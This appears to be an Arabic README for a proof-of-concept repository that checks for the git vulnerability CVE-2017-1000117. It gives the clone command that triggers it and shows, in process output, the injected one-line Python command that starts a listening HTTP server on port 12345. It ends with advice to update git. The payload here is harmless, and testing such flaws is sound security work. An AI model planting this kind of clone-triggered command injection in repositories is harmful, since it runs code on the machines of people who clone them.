
التحقق من CVE-2017-1000117
يعمل هذا مع الثغرة الأمنية CVE-2017-1000117.
عند استنساخ هذا المستودع باستخدام الأمر git مع الخيار --recurse بصلاحيات الجذر،
سيتم تشغيل خادم http يستمع على المنفذ 12345 تلقائياً.
لإيقاف خادم http، ابحث عن رقم العملية وقم بقتلها.
CentOS7
macOS Sierra
Debian8
قم بتنفيذ الأمر التالي. بعد الانتهاء، ستتوقف وحدة التحكم لذا استخدم Ctrl + C للخروج.
[root@localhost ~]$ git clone --recurse https://github.com/Shadow5523/CVE-2017-1000117-test.git
[root@localhost ~]$ ps ax | grep http
21365 pts/0 S 0:00 python -c (lambda j: (lambda s, i: s.setsockopt(i.SOL_SOCKET, i.SO_REUSEADDR, 1) or s.bind((i.gethostname(), 12345)) or s.listen(10) or map(lambda y: y.send("HTTP/1.0 200 OK\r\nContent-Length: 20\r\nContent-Type: text/html\r\n\r\n<html><center>test</center></html>"), (s.accept()[0] for x in iter(int, 1))))(j.socket(j.AF_INET, j.SOCK_STREAM), j))(__import__("socket"))
21381 pts/0 S+ 0:00 grep --color=auto ht
[root@localhost ~]$ netstat -tanp | grep 12345
tcp 0 0 127.0.0.1:12345 0.0.0.0:* LISTEN 21365/python
في حالة macOS، تحقق باستخدام الأمر التالي.
MAcbook:~ root# lsof -nP -iTCP -sTCP:LISTEN
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
Python 14231 root 3u IPv4 0xa3955f2183c66251 0t0 TCP 127.0.0.1:12345 (LISTEN)
قم بتحديث git إلى أحدث إصدار. راجع الرابط التالي.
طريقة التحديث إلى أحدث إصدار من Git من مستودع GitHub البعيد